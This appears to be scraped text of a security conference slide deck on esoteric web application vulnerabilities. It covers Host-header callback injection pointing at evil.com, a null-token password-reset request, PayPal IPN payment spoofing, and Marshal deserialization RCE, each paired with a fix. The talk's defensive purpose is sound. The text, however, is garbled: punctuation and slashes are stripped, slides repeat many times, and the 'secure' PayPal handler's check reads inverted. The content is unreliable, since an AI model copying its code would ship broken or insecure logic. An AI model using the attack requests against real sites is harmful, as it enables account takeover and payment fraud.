import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 18: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Exploit results in modified callback_url

HTTP requestPlease call +1 (541) 754-3010

Audio for the call is available at httpsevilcomaudioltuuid-4gt

HTTP requesthttpsevilcomaudioltuuid-4gt

HTTP requesthttpsvulnerablecomaudioltuuid-4gt

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 19: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

MUST-HAVE Strict validation for Host header

Make sure that your nginx apache and web frameworks validate the host header before any further code is run

Django has strict host header validation built in using ALLOWED_HOSTS configuration setting

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 20: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Password reset

Password resets are very sensitive and in some cases insecure The most wanted vulnerability is to be able to reset the password for a user for which we donrsquot have the password reset token

Usually password resets are implemented as follows

User starts a new password reset flow

An email is sent by the application containing a randomly generated token

The token is used to prove that the user has access to the email address and the password is reset

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 21: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Implementation details

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token string default nilend

end

post start-password-reset douser = Userswhere(email params[email])firsttoken = generate_random_token()userpwd_reset_token = tokenusersavesend_email(useremail token)

post complete-password-reset douser = Userswhere(pwd_reset_token params[token])firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

mc_gross=1995ampprotection_eligibility=Eligibleampaddress_status=confirmedamppayer_id=LPLWNMTBWMFAYamptax=000ampaddress_street=1+Main+Stamppayment_date=203A123A59+Jan+132C+2009+PSTamppayment_status=Completedampcharset=windows-1252ampaddress_zip=95131ampfirst_name=Testampmc_fee=088ampaddress_country_code=USampaddress_name=Test+Userampnotify_version=26ampcustom=665588975amppayer_status=verifiedampaddress_country=United+Statesampaddress_city=San+Joseampquantity=1ampverify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtfamppayer_email=gpmac_1231902590_per40paypalcomamptxn_id=61E67681CH3238416amppayment_type=instantamplast_name=Userampaddress_state=CAampreceiver_email=gpmac_1231902686_biz40paypalcomamppayment_fee=088ampreceiver_id=S8XGHLYDW9T3Samptxn_type=express_checkoutampitem_name=ampmc_currency=USDampitem_number=ampresidence_country=USamphandling_amount=000amptransaction_subject=amppayment_gross=1995ampshipping=000

Zoom into Paypalrsquos IPN HTTP request

There are a few important parameters that we need to understand

mc_gross=1995 is the amount paid by the user

custom=665588975 is the userrsquos ID at the merchant application which is sent to Paypal when the user clicks the ldquoPay with Paypalrdquo button in the merchantrsquos site

receiver_email=gpmac_1231902686_biz40paypalcom is the merchantrsquos email address

payment_status=Completed is the payment status

Why does the merchant verify the IPN data

Insecure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validate

def handle_paypal_ipn(params) params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 22: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Token defaults to NULL in the database

POST complete-password-reset HTTP11Host vulnerablecomContent-Type applicationjson

token null new_password l3tm31n

Each time a new user is created his pwd_reset_token field is set to NULL in the database

When the user starts a new password reset flow a randomly generated token is assigned to pwd_reset_token

What if

Safe defaults and strict type validation

post complete-password-reset douser = Userswhere(pwd_reset_token

params[token]to_s)firstuserpassword = params[new_password]userpwd_reset_token = nilusersave

class AddPasswordResetTokenToUser lt ActiveRecordMigrationdef change

add_column users pwd_reset_token stringdefault generate_random_token()

endend

Paypalrsquos Instant Payment Notification

I love payment gateways See my previous talk on this subject

Paypal uses IPN to notify a site that a new payment has been processed and further action such as increasing the user funds in the application should be performed

The developer sets the IPN URL in the merchant account settings at Paypal httpswwwexamplecompaypal-handler

Zoom into Paypalrsquos IPN HTTP request

POST paypal-handler HTTP11Host wwwexamplecomContent-Type applicationx-www-form-urlencoded

